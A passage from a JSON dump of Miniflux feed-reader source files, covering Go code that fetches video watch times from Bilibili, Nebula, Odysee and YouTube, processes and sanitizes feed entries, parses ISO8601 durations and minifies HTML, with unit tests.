\"\", \"\", fmt.Errorf(\"no video ID found in URL: %s\", websiteURL)\n\t}\n\tif matches[1] != \"\" {\n\t\treturn \"aid\", matches[1], nil\n\t}\n\tif matches[2] != \"\" {\n\t\treturn \"bvid\", matches[2], nil\n\t}\n\treturn \"\", \"\", fmt.Errorf(\"unexpected regex match result for URL: %s\", websiteURL)\n}\n\nfunc fetchBilibiliWatchTime(websiteURL string) (int, error) {\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\n\tidType, videoID, extractErr := extractBilibiliVideoID(websiteURL)\n\tif extractErr != nil {\n\t\treturn 0, extractErr\n\t}\n\tbilibiliApiURL := \"https://api.bilibili.com/x/web-interface/view?\" + idType + \"=\" + videoID\n\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(bilibiliApiURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch Bilibili API\",\n\t\t\tslog.String(\"website_url\", websiteURL),\n\t\t\tslog.String(\"api_url\", bilibiliApiURL),\n\t\t\tslog.Any(\"error\", localizedError.Error()))\n\t\treturn 0, localizedError.Error()\n\t}\n\n\tvar result map[string]any\n\tdoc := json.NewDecoder(responseHandler.Body(config.Opts.HTTPClientMaxBodySize()))\n\tif docErr := doc.Decode(&result); docErr != nil {\n\t\treturn 0, fmt.Errorf(\"failed to decode API response: %v\", docErr)\n\t}\n\n\tif code, ok := result[\"code\"].(float64); !ok || code != 0 {\n\t\treturn 0, fmt.Errorf(\"API returned error code: %v\", result[\"code\"])\n\t}\n\n\tdata, ok := result[\"data\"].(map[string]any)\n\tif !ok {\n\t\treturn 0, errors.New(\"data field not found or not an object\")\n\t}\n\n\tduration, ok := data[\"duration\"].(float64)\n\tif !ok {\n\t\treturn 0, errors.New(\"duration not found or not a number\")\n\t}\n\tintDuration := int(duration)\n\tdurationMin := intDuration / 60\n\tif intDuration%60 != 0 {\n\t\tdurationMin++\n\t}\n\treturn durationMin, nil\n}\n"
  },
  {
    "path": "internal/reader/processor/nebula.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\nfunc shouldFetchNebulaWatchTime(entry *model.Entry) bool {\n\tif !config.Opts.FetchNebulaWatchTime() {\n\t\treturn false\n\t}\n\n\treturn urllib.DomainWithoutWWW(entry.URL) == \"nebula.tv\"\n}\n\nfunc fetchNebulaWatchTime(websiteURL string) (int, error) {\n\treturn fetchWatchTime(websiteURL, `meta[property=\"video:duration\"]`, false)\n}\n"
  },
  {
    "path": "internal/reader/processor/odysee.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\nfunc shouldFetchOdyseeWatchTime(entry *model.Entry) bool {\n\tif !config.Opts.FetchOdyseeWatchTime() {\n\t\treturn false\n\t}\n\n\treturn urllib.DomainWithoutWWW(entry.URL) == \"odysee.com\"\n}\n\nfunc fetchOdyseeWatchTime(websiteURL string) (int, error) {\n\treturn fetchWatchTime(websiteURL, `meta[property=\"og:video:duration\"]`, false)\n}\n"
  },
  {
    "path": "internal/reader/processor/processor.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"log/slog\"\n\t\"net/url\"\n\t\"slices\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/metric\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/filter\"\n\t\"miniflux.app/v2/internal/reader/readingtime\"\n\t\"miniflux.app/v2/internal/reader/rewrite\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/reader/scraper\"\n\t\"miniflux.app/v2/internal/reader/urlcleaner\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// ProcessFeedEntries downloads original web page for entries and apply filters.\nfunc ProcessFeedEntries(store *storage.Storage, feed *model.Feed, userID int64, forceRefresh bool) {\n\tvar filteredEntries model.Entries\n\n\tuser, storeErr := store.UserByID(userID)\n\tif storeErr != nil {\n\t\tslog.Error(\"Database error\", slog.Any(\"error\", storeErr))\n\t\treturn\n\t}\n\n\t// The errors are handled in RemoveTrackingParameters.\n\tparsedFeedURL, _ := url.Parse(feed.FeedURL)\n\tparsedSiteURL, _ := url.Parse(feed.SiteURL)\n\n\tblockRules := filter.ParseRules(user.BlockFilterEntryRules, feed.BlockFilterEntryRules)\n\tallowRules := filter.ParseRules(user.KeepFilterEntryRules, feed.KeepFilterEntryRules)\n\tslog.Debug(\"Filter rules\",\n\t\tslog.String(\"user_block_filter_rules\", user.BlockFilterEntryRules),\n\t\tslog.String(\"feed_block_filter_rules\", feed.BlockFilterEntryRules),\n\t\tslog.String(\"user_keep_filter_rules\", user.KeepFilterEntryRules),\n\t\tslog.String(\"feed_keep_filter_rules\", feed.KeepFilterEntryRules),\n\t\tslog.Any(\"block_rules\", blockRules),\n\t\tslog.Any(\"allow_rules\", allowRules),\n\t\tslog.Int64(\"user_id\", user.ID),\n\t\tslog.Int64(\"feed_id\", feed.ID),\n\t)\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithUserAgent(feed.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(feed.Cookie)\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(feed.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(feed.FetchViaProxy)\n\trequestBuilder.IgnoreTLSErrors(feed.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(feed.DisableHTTP2)\n\n\t// Processing older entries first ensures that their creation timestamp is lower than newer entries.\n\tfor _, entry := range slices.Backward(feed.Entries) {\n\t\tslog.Debug(\"Processing entry\",\n\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\tslog.String(\"entry_hash\", entry.Hash),\n\t\t\tslog.String(\"entry_title\", entry.Title),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t)\n\n\t\tif filter.IsBlockedEntry(blockRules, allowRules, feed, entry) {\n\t\t\tslog.Debug(\"Entry is blocked by filter rules\",\n\t\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.String(\"entry_hash\", entry.Hash),\n\t\t\t\tslog.String(\"entry_title\", entry.Title),\n\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\t\tslog.String(\"filter_stage\", \"before_scrape\"),\n\t\t\t)\n\t\t\tcontinue\n\t\t}\n\n\t\tparsedInputUrl, _ := url.Parse(entry.URL)\n\t\tif cleanedURL, err := urlcleaner.RemoveTrackingParameters(parsedFeedURL, parsedSiteURL, parsedInputUrl); err == nil {\n\t\t\tentry.URL = cleanedURL\n\t\t}\n\n\t\twebpageBaseURL := \"\"\n\t\tentry.URL = rewrite.RewriteEntryURL(feed, entry)\n\t\tentryIsNew := store.IsNewEntry(feed.ID, entry.Hash)\n\t\tcontentExtractedSuccessfully := false\n\t\tif feed.Crawler && (entryIsNew || forceRefresh) {\n\t\t\tslog.Debug(\"Scraping entry\",\n\t\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.String(\"entry_hash\", entry.Hash),\n\t\t\t\tslog.String(\"entry_title\", entry.Title),\n\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\t\tslog.Bool(\"entry_is_new\", entryIsNew),\n\t\t\t\tslog.Bool(\"force_refresh\", forceRefresh),\n\t\t\t)\n\n\t\t\tstartTime := time.Now()\n\n\t\t\tscrapedPageBaseURL, extractedContent, scraperErr := scraper.ScrapeWebsite(\n\t\t\t\trequestBuilder,\n\t\t\t\tentry.URL,\n\t\t\t\tfeed.ScraperRules,\n\t\t\t)\n\n\t\t\tif scrapedPageBaseURL != \"\" {\n\t\t\t\twebpageBaseURL = scrapedPageBaseURL\n\t\t\t}\n\n\t\t\tif config.Opts.HasMetricsCollector() {\n\t\t\t\tstatus := \"success\"\n\t\t\t\tif scraperErr != nil {\n\t\t\t\t\tstatus = \"error\"\n\t\t\t\t}\n\t\t\t\tmetric.ScraperRequestDuration.WithLabelValues(status).Observe(time.Since(startTime).Seconds())\n\t\t\t}\n\n\t\t\tif scraperErr != nil {\n\t\t\t\tslog.Warn(\"Unable to scrape entry\",\n\t\t\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\t\t\tslog.Any(\"error\", scraperErr),\n\t\t\t\t)\n\t\t\t} else if extractedContent != \"\" {\n\t\t\t\t// We replace the entry content only if the scraper doesn't return any error.\n\t\t\t\tentry.Content = minifyContent(extractedContent)\n\t\t\t\tcontentExtractedSuccessfully = true\n\t\t\t}\n\t\t}\n\n\t\trewrite.ApplyContentRewriteRules(entry, feed.RewriteRules)\n\n\t\t// Re-run filters only when extracted content replaced entry.Content.\n\t\tif contentExtractedSuccessfully && filter.IsBlockedEntry(blockRules, allowRules, feed, entry) {\n\t\t\tslog.Debug(\"Entry is blocked by filter rules\",\n\t\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.String(\"entry_hash\", entry.Hash),\n\t\t\t\tslog.String(\"entry_title\", entry.Title),\n\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\t\tslog.String(\"filter_stage\", \"after_scrape\"),\n\t\t\t)\n\t\t\tcontinue\n\t\t}\n\n\t\tif webpageBaseURL == \"\" {\n\t\t\twebpageBaseURL = entry.URL\n\t\t}\n\n\t\t// The sanitizer should always run at the end of the process to make sure unsafe HTML is filtered out.\n\t\tentry.Content = sanitizer.SanitizeHTML(webpageBaseURL, entry.Content, &sanitizer.SanitizerOptions{OpenLinksInNewTab: user.OpenExternalLinksInNewTab})\n\n\t\tupdateEntryReadingTime(store, feed, entry, entryIsNew, user)\n\n\t\tfilteredEntries = append(filteredEntries, entry)\n\t}\n\n\tif user.ShowReadingTime && shouldFetchYouTubeWatchTimeInBulk() {\n\t\tfetchYouTubeWatchTimeInBulk(filteredEntries)\n\t}\n\n\tfeed.Entries = filteredEntries\n}\n\n// ProcessEntryWebPage downloads the entry web page and apply rewrite rules.\nfunc ProcessEntryWebPage(feed *model.Feed, entry *model.Entry, user *model.User) error {\n\tstartTime := time.Now()\n\tentry.URL = rewrite.RewriteEntryURL(feed, entry)\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithUserAgent(feed.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(feed.Cookie)\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(feed.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(feed.FetchViaProxy)\n\trequestBuilder.IgnoreTLSErrors(feed.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(feed.DisableHTTP2)\n\n\twebpageBaseURL, extractedContent, scraperErr := scraper.ScrapeWebsite(\n\t\trequestBuilder,\n\t\tentry.URL,\n\t\tfeed.ScraperRules,\n\t)\n\n\tif config.Opts.HasMetricsCollector() {\n\t\tstatus := \"success\"\n\t\tif scraperErr != nil {\n\t\t\tstatus = \"error\"\n\t\t}\n\t\tmetric.ScraperRequestDuration.WithLabelValues(status).Observe(time.Since(startTime).Seconds())\n\t}\n\n\tif scraperErr != nil {\n\t\treturn scraperErr\n\t}\n\n\tif extractedContent != \"\" {\n\t\tentry.Content = minifyContent(extractedContent)\n\t\tif user.ShowReadingTime {\n\t\t\tentry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed)\n\t\t}\n\t}\n\n\trewrite.ApplyContentRewriteRules(entry, entry.Feed.RewriteRules)\n\tentry.Content = sanitizer.SanitizeHTML(webpageBaseURL, entry.Content, &sanitizer.SanitizerOptions{OpenLinksInNewTab: user.OpenExternalLinksInNewTab})\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/reader/processor/reading_time.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"strconv\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/readingtime\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc fetchWatchTime(websiteURL, query string, isoDate bool) (int, error) {\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(websiteURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch watch time\", slog.String(\"website_url\", websiteURL), slog.Any(\"error\", localizedError.Error()))\n\t\treturn 0, localizedError.Error()\n\t}\n\n\tdoc, docErr := goquery.NewDocumentFromReader(responseHandler.Body(config.Opts.HTTPClientMaxBodySize()))\n\tif docErr != nil {\n\t\treturn 0, docErr\n\t}\n\n\tduration, exists := doc.FindMatcher(goquery.Single(query)).Attr(\"content\")\n\tif !exists {\n\t\treturn 0, errors.New(\"duration not found\")\n\t}\n\n\tret := 0\n\tif isoDate {\n\t\tparsedDuration, err := parseISO8601Duration(duration)\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"unable to parse iso duration %s: %v\", duration, err)\n\t\t}\n\t\tret = int(parsedDuration.Minutes())\n\t} else {\n\t\tparsedDuration, err := strconv.Atoi(duration)\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"unable to parse duration %s: %v\", duration, err)\n\t\t}\n\t\tret = parsedDuration / 60\n\t}\n\treturn ret, nil\n}\n\nfunc updateEntryReadingTime(store *storage.Storage, feed *model.Feed, entry *model.Entry, entryIsNew bool, user *model.User) {\n\tif !user.ShowReadingTime {\n\t\tslog.Debug(\"Skip reading time estimation for this user\", slog.Int64(\"user_id\", user.ID))\n\t\treturn\n\t}\n\n\t// Define watch time fetching scenarios\n\twatchTimeScenarios := [...]struct {\n\t\tshouldFetch func(*model.Entry) bool\n\t\tfetchFunc   func(string) (int, error)\n\t\tplatform    string\n\t}{\n\t\t{shouldFetchYouTubeWatchTimeForSingleEntry, fetchYouTubeWatchTimeForSingleEntry, \"YouTube\"},\n\t\t{shouldFetchNebulaWatchTime, fetchNebulaWatchTime, \"Nebula\"},\n\t\t{shouldFetchOdyseeWatchTime, fetchOdyseeWatchTime, \"Odysee\"},\n\t\t{shouldFetchBilibiliWatchTime, fetchBilibiliWatchTime, \"Bilibili\"},\n\t}\n\n\t// Iterate through scenarios and attempt to fetch watch time\n\tfor _, scenario := range watchTimeScenarios {\n\t\tif scenario.shouldFetch(entry) {\n\t\t\tif entryIsNew {\n\t\t\t\tif watchTime, err := scenario.fetchFunc(entry.URL); err != nil {\n\t\t\t\t\tslog.Warn(\"Unable to fetch watch time\",\n\t\t\t\t\t\tslog.String(\"platform\", scenario.platform),\n\t\t\t\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tentry.ReadingTime = watchTime\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tentry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Fallback to text-based reading time estimation\n\tif entry.ReadingTime == 0 && entry.Content != \"\" {\n\t\tentry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/processor/utils.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/tdewolff/minify/v2\"\n\t\"github.com/tdewolff/minify/v2/html\"\n)\n\n// parseISO8601Duration parses a subset of ISO8601 durations, mainly for youtube video.\nfunc parseISO8601Duration(duration string) (time.Duration, error) {\n\tafter, ok := strings.CutPrefix(duration, \"PT\")\n\tif !ok {\n\t\treturn 0, errors.New(\"the period doesn't start with PT\")\n\t}\n\n\tvar d time.Duration\n\tnum := \"\"\n\n\tfor _, char := range after {\n\t\tvar val int\n\t\tvar err error\n\n\t\tswitch char {\n\t\tcase 'Y', 'W', 'D':\n\t\t\treturn 0, fmt.Errorf(\"the '%c' specifier isn't supported\", char)\n\t\tcase 'H':\n\t\t\tif val, err = strconv.Atoi(num); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\td += time.Duration(val) * time.Hour\n\t\t\tnum = \"\"\n\t\tcase 'M':\n\t\t\tif val, err = strconv.Atoi(num); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\td += time.Duration(val) * time.Minute\n\t\t\tnum = \"\"\n\t\tcase 'S':\n\t\t\tif val, err = strconv.Atoi(num); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\td += time.Duration(val) * time.Second\n\t\t\tnum = \"\"\n\t\tcase '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':\n\t\t\tnum += string(char)\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn 0, errors.New(\"invalid character in the period\")\n\t\t}\n\t}\n\treturn d, nil\n}\n\nfunc minifyContent(content string) string {\n\tm := minify.New()\n\n\t// Options required to avoid breaking the HTML content.\n\tm.Add(\"text/html\", &html.Minifier{\n\t\tKeepEndTags:         true,\n\t\tKeepQuotes:          true,\n\t\tKeepComments:        false,\n\t\tKeepSpecialComments: false,\n\t\tKeepDefaultAttrVals: false,\n\t})\n\n\tif minifiedHTML, err := m.String(\"text/html\", content); err == nil {\n\t\tcontent = minifiedHTML\n\t}\n\n\treturn content\n}\n"
  },
  {
    "path": "internal/reader/processor/utils_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestISO8601DurationParsing(t *testing.T) {\n\tvar scenarios = []struct {\n\t\tduration string\n\t\texpected time.Duration\n\t}{\n\t\t// Live streams and radio.\n\t\t{\"PT0M0S\", 0},\n\t\t// https://www.youtube.com/watch?v=HLrqNhgdiC0\n\t\t{\"PT6M20S\", (6 * time.Minute) + (20 * time.Second)},\n\t\t// https://www.youtube.com/watch?v=LZa5KKfqHtA\n\t\t{\"PT5M41S\", (5 * time.Minute) + (41 * time.Second)},\n\t\t// https://www.youtube.com/watch?v=yIxEEgEuhT4\n\t\t{\"PT51M52S\", (51 * time.Minute) + (52 * time.Second)},\n\t\t// https://www.youtube.com/watch?v=bpHf1XcoiFs\n\t\t{\"PT80M42S\", (1 * time.Hour) + (20 * time.Minute) + (42 * time.Second)},\n\t\t// Hours only\n\t\t{\"PT2H\", 2 * time.Hour},\n\t\t// Seconds only\n\t\t{\"PT30S\", 30 * time.Second},\n\t\t// Hours and minutes\n\t\t{\"PT1H30M\", (1 * time.Hour) + (30 * time.Minute)},\n\t\t// Hours and seconds\n\t\t{\"PT2H45S\", (2 * time.Hour) + (45 * time.Second)},\n\t\t// Empty duration\n\t\t{\"PT\", 0},\n\t}\n\n\tfor _, tc := range scenarios {\n\t\tresult, err := parseISO8601Duration(tc.duration)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Got an error when parsing %q: %v\", tc.duration, err)\n\t\t}\n\n\t\tif tc.expected != result {\n\t\t\tt.Errorf(`Unexpected result, got %v for duration %q`, result, tc.duration)\n\t\t}\n\t}\n}\n\nfunc TestISO8601DurationParsingErrors(t *testing.T) {\n\tvar errorScenarios = []struct {\n\t\tduration    string\n\t\texpectedErr string\n\t}{\n\t\t// Missing PT prefix\n\t\t{\"6M20S\", \"the period doesn't start with PT\"},\n\t\t// Unsupported Year specifier\n\t\t{\"PT1Y\", \"the 'Y' specifier isn't supported\"},\n\t\t// Unsupported Week specifier\n\t\t{\"PT2W\", \"the 'W' specifier isn't supported\"},\n\t\t// Unsupported Day specifier\n\t\t{\"PT3D\", \"the 'D' specifier isn't supported\"},\n\t\t// Invalid number for hours (letter at start of number)\n\t\t{\"PTaH\", \"invalid character in the period\"},\n\t\t// Invalid number for minutes (letter at start of number)\n\t\t{\"PTbM\", \"invalid character in the period\"},\n\t\t// Invalid number for seconds (letter at start of number)\n\t\t{\"PTcS\", \"invalid character in the period\"},\n\t\t// Invalid character in the middle of a number\n\t\t{\"PT1a2H\", \"invalid character in the period\"},\n\t\t{\"PT3b4M\", \"invalid character in the period\"},\n\t\t{\"PT5c6S\", \"invalid character in the period\"},\n\t\t// Test cases for actual Atoi errors (empty number before specifier)\n\t\t{\"PTH\", \"strconv.Atoi: parsing \\\"\\\": invalid syntax\"},\n\t\t{\"PTM\", \"strconv.Atoi: parsing \\\"\\\": invalid syntax\"},\n\t\t{\"PTS\", \"strconv.Atoi: parsing \\\"\\\": invalid syntax\"},\n\t\t// Invalid character\n\t\t{\"PT1X\", \"invalid character in the period\"},\n\t\t// Invalid character mixed\n\t\t{\"PT1H@M\", \"invalid character in the period\"},\n\t}\n\n\tfor _, tc := range errorScenarios {\n\t\t_, err := parseISO8601Duration(tc.duration)\n\t\tif err == nil {\n\t\t\tt.Errorf(\"Expected an error when parsing %q, but got none\", tc.duration)\n\t\t} else if err.Error() != tc.expectedErr {\n\t\t\tt.Errorf(\"Expected error %q when parsing %q, but got %q\", tc.expectedErr, tc.duration, err.Error())\n\t\t}\n\t}\n}\n\nfunc TestMinifyEntryContentWithWhitespace(t *testing.T) {\n\tinput := `<p>    Some text with a <a href=\"http://example.org/\"> link   </a>    </p>`\n\texpected := `<p>Some text with a <a href=\"http://example.org/\">link</a></p>`\n\tresult := minifyContent(input)\n\tif expected != result {\n\t\tt.Errorf(`Unexpected result, got %q`, result)\n\t}\n}\n\nfunc TestMinifyContentWithDefaultAttributes(t *testing.T) {\n\tinput := `<script type=\"application/javascript\">console.log(\"Hello, World!\");</script>`\n\texpected := `<script>console.log(\"Hello, World!\");</script>`\n\tresult := minifyContent(input)\n\tif expected != result {\n\t\tt.Errorf(`Unexpected result, got %q`, result)\n\t}\n}\n\nfunc TestMinifyContentWithComments(t *testing.T) {\n\tinput := `<p>Some text<!-- This is a comment --> with a <a href=\"http://example.org/\">link</a>.</p>`\n\texpected := `<p>Some text with a <a href=\"http://example.org/\">link</a>.</p>`\n\tresult := minifyContent(input)\n\tif expected != result {\n\t\tt.Errorf(`Unexpected result, got %q`, result)\n\t}\n}\n\nfunc TestMinifyContentWithSpecialComments(t *testing.T) {\n\tinput := `<p>Some text <!--[if IE 6]><p>IE6</p><![endif]--> with a <a href=\"http://example.org/\">link</a>.</p>`\n\texpected := `<p>Some text with a <a href=\"http://example.org/\">link</a>.</p>`\n\tresult := minifyContent(input)\n\tif expected != result {\n\t\tt.Errorf(`Unexpected result, got %q`, result)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/processor/youtube.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n)\n\nfunc isYouTubeVideoURL(websiteURL string) bool {\n\treturn strings.Contains(websiteURL, \"youtube.com/watch?v=\")\n}\n\nfunc getVideoIDFromYouTubeURL(websiteURL string) string {\n\tparsedWebsiteURL, err := url.Parse(websiteURL)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn parsedWebsiteURL.Query().Get(\"v\")\n}\n\nfunc shouldFetchYouTubeWatchTimeForSingleEntry(entry *model.Entry) bool {\n\treturn config.Opts.FetchYouTubeWatchTime() && config.Opts.YouTubeAPIKey() == \"\" && isYouTubeVideoURL(entry.URL)\n}\n\nfunc shouldFetchYouTubeWatchTimeInBulk() bool {\n\treturn config.Opts.FetchYouTubeWatchTime() && config.Opts.YouTubeAPIKey() != \"\"\n}\n\nfunc fetchYouTubeWatchTimeForSingleEntry(websiteURL string) (int, error) {\n\treturn fetchWatchTime(websiteURL, `meta[itemprop=\"duration\"]`, true)\n}\n\nfunc fetchYouTubeWatchTimeInBulk(entries []*model.Entry) {\n\tvideosEntriesMapping := make(map[string]*model.Entry, len(entries))\n\tvideoIDs := make([]string, 0, len(entries))\n\n\tfor _, entry := range entries {\n\t\tif !isYouTubeVideoURL(entry.URL) {\n\t\t\tcontinue\n\t\t}\n\n\t\tyoutubeVideoID := getVideoIDFromYouTubeURL(entry.URL)\n\t\tif youtubeVideoID == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tvideosEntriesMapping[youtubeVideoID] = entry\n\t\tvideoIDs = append(videoIDs, youtubeVideoID)\n\t}\n\n\tif len(videoIDs) == 0 {\n\t\treturn\n\t}\n\n\twatchTimeMap, err := fetchYouTubeWatchTimeFromApiInBulk(videoIDs)\n\tif err != nil {\n\t\tslog.Warn(\"Unable to fetch YouTube watch time in bulk\", slog.Any(\"error\", err))\n\t\treturn\n\t}\n\n\tfor videoID, watchTime := range watchTimeMap {\n\t\tif entry, ok := videosEntriesMapping[videoID]; ok {\n\t\t\tentry.ReadingTime = int(watchTime.Minutes())\n\t\t}\n\t}\n}\n\nfunc fetchYouTubeWatchTimeFromApiInBulk(videoIDs []string) (map[string]time.Duration, error) {\n\tslog.Debug(\"Fetching YouTube watch time in bulk\", slog.Any(\"video_ids\", videoIDs))\n\n\tapiQuery := url.Values{}\n\tapiQuery.Set(\"id\", strings.Join(videoIDs, \",\"))\n\tapiQuery.Set(\"key\", config.Opts.YouTubeAPIKey())\n\tapiQuery.Set(\"part\", \"contentDetails\")\n\n\tapiURL := url.URL{\n\t\tScheme:   \"https\",\n\t\tHost:     \"www.googleapis.com\",\n\t\tPath:     \"youtube/v3/videos\",\n\t\tRawQuery: apiQuery.Encode(),\n\t}\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(apiURL.String()))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch contentDetails from YouTube API\", slog.Any(\"error\", localizedError.Error()))\n\t\treturn nil, localizedError.Error()\n\t}\n\n\tvideos := struct {\n\t\tItems []struct 